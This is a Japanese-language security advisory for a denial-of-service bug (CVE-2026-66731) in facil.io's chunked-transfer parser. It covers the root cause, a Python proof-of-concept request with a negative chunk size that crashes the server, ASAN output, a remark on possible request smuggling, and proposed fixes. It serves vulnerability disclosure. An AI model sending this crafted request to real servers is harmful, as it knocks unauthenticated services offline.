
facil.io HTTP/1.1チャンクエンコーディングパーサーのバグに対する根本原因分析、PoCエクスプロイト、修正提案を含むCVE-2026-66731のセキュリティアドバイザリ
割り当て済み CVE ID: CVE-2026-66731
製品: facil.io
影響を受けるバージョン: facil.io >= 0.7.5 (0.7.5, 0.7.6, master); 0.7.5 で 0.8.x HTTP/1.1 パーサーがバックポートされた際に導入されました - 0.6.x および 0.7.0–0.7.3 には存在しません
コンポーネント: lib/facil/http/parsers/http1_parser.h
CWE: CWE-20 (不適切な入力検証), CWE-682 (不正確な計算), CWE-125 (境界外読み取り)
CVSS v3.1: 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
研究者: Theodosis Paidakis
チャンク転送エンコーディングのパーサーは、チャンクサイズ値の先頭のマイナス記号を受け入れます。http1_atol16 は -FFFFFF のような入力に対して負の long long を返します。パーサーは「チャンク内部」を示すセンチネルとして content_length に 0 - chunk_len を格納します。chunk_len が負の場合、この減算は大きな正の値を生成し、ステートマシンを破壊します。その後のポインター計算により、読み取りポインターが入力バッファーの数百万バイト前、マップされていないメモリへ移動し、プロセスがクラッシュします。認証されていない POST リクエスト 1 つで十分です。
ステップ 1: http1_atol16 が先頭のマイナス記号を受け入れる
lib/facil/http/parsers/http1_parser.h、316-346 行目
// lib/facil/http/parsers/http1_parser.h:316-346
static long long http1_atol16(const uint8_t *buf, const uint8_t **end) {
register unsigned long long i = 0;
uint8_t inv = 0;
for (int limit_ = 0; (*buf == '-' || *buf == '+') && limit_ < 32; ++limit_)
inv ^= (*(buf++) == '-'); // line 323: accepts '-', sets inv=1
/* ... parse hex digits into i ... */
if (inv)
i = 0ULL - i; // line 341: two's-complement negation
return i; // returns negative long long
}
入力 -FFFFFF\r\n は chunk_len = -16777215LL を生成します。RFC 7230 のセクション 4.1 は、チャンクサイズを非負の16進整数として指定しています。先頭のマイナスは有効ではありません。
ステップ 2: ステートマシンの破損
lib/facil/http/parsers/http1_parser.h、681-690 行目
// lib/facil/http/parsers/http1_parser.h:681-690
long long chunk_len = http1_atol16(end, (const uint8_t **)&end); // line 681: = -16777215
// ...
parser->state.content_length = 0 - chunk_len; // line 688: = 0 - (-16777215) = +16777215
パーサーは、負の content_length を「現在チャンク本体を読み取り中」を意味するセンチネルとして使用します。content_length が +16777215 という正の値になると、ステートマシンは 16 MB の通常の(チャンク化されていない)本体を読み取っていると見なします。
ステップ 3: ポインターがマップされていないメモリへ逆方向に移動する
次の反復で、パーサーは次のように計算します:
// lib/facil/http/parsers/http1_parser.h (~line 726)
end = *start + (0 - parser->state.content_length);
// = *start + (0 - 16777215)
// = *start - 16777215 <-- 16 MB before the input buffer
そのアドレスからの読み取りはフォールトします。
サーバーを起動してから、次を実行します:
# poc_chunked_negative_size.py
import socket
req = (
b"POST / HTTP/1.1\r\n"
b"Host: 127.0.0.1\r\n"
b"Transfer-Encoding: chunked\r\n"
b"Connection: close\r\n"
b"\r\n"
b"-FFFFFF\r\n" # negative hex chunk size
b"data\r\n"
b"0\r\n\r\n"
)
s = socket.socket()
s.settimeout(3)
s.connect(("127.0.0.1", 3000))
s.sendall(req)
try:
print(s.recv(4096))
print("check server")
except:
print("check server")
ASAN 出力(確認済み):
AddressSanitizer: BUS at http1_parser.h:674
x[0] = 0xffffffffff000001 // pointer 16 MB before start
送信したチャンクサイズによる影響:
| チャンクサイズ | 破損後の content_length | 結果 |
|---|---|---|
-0 | 0 | 本体が静かにスキップされる; サーバーは生存 |
-1 | +1 | 開始位置の 1 バイト前のポインター |
-FFFFFF | +16777215 | 開始位置の 16 MB 前のポインター; クラッシュ |
-7FFFFFFF | +2147483647 | 開始位置の 2 GB 前のポインター; クラッシュ |
注: -0 の場合(0 - 0 = 0)は「チャンク本体の完了」分岐に該当しサーバーは生存しますが、サーバーは後続のデータにかかわらずリクエストを空の本体を持つものとして受け入れます。これは、フロントエンドがチャンクエンコーディングを異なる方法で解析するプロキシ環境において、リクエストスマグリングのプリミティブとして機能する可能性があります。
負のチャンクサイズを持つ単一の認証されていない Transfer-Encoding: chunked リクエストがサーバーをクラッシュさせます。HTTP/1.1 を受け入れるすべてのアプリケーションが影響を受けます。チャンクエンコーディングはプロトコルのコア機能であり、アプリケーションレベルの設定を必要としません。
どちらの方法でも十分です。修正 1 を推奨します。
修正 1: http1_atol16 で先頭のマイナスを拒否する
lib/facil/http/parsers/http1_parser.h、322 行目
// lib/facil/http/parsers/http1_parser.h:322 -- remove the sign loop for hex parsing
// Remove lines 322-323 entirely, or replace with:
if (*buf == '-' || *buf == '+') { if (end) *end = buf; return -1; }
修正 2: 使用前に chunk_len を検証する
lib/facil/http/parsers/http1_parser.h、681 行目
// lib/facil/http/parsers/http1_parser.h:681
long long chunk_len = http1_atol16(end, (const uint8_t **)&end);
if (chunk_len < 0) return -1; // reject negative chunk sizes
parser->state.content_length = 0 - chunk_len;
コミット 53caca31(「Fix atol16 to fix chunked length calculation」、2019年12月)はオーバーフロー検出ループの条件を修正しましたが、符号処理コードは残しました。コミット fe847cdf(「fix HTTP/1.1 parser against smuggling attack」、2020年5月)は TE/CL の競合(Transfer-Encoding と Content-Length の両方が存在する場合)に対処しました。どちらも負のチャンクサイズには対応していません。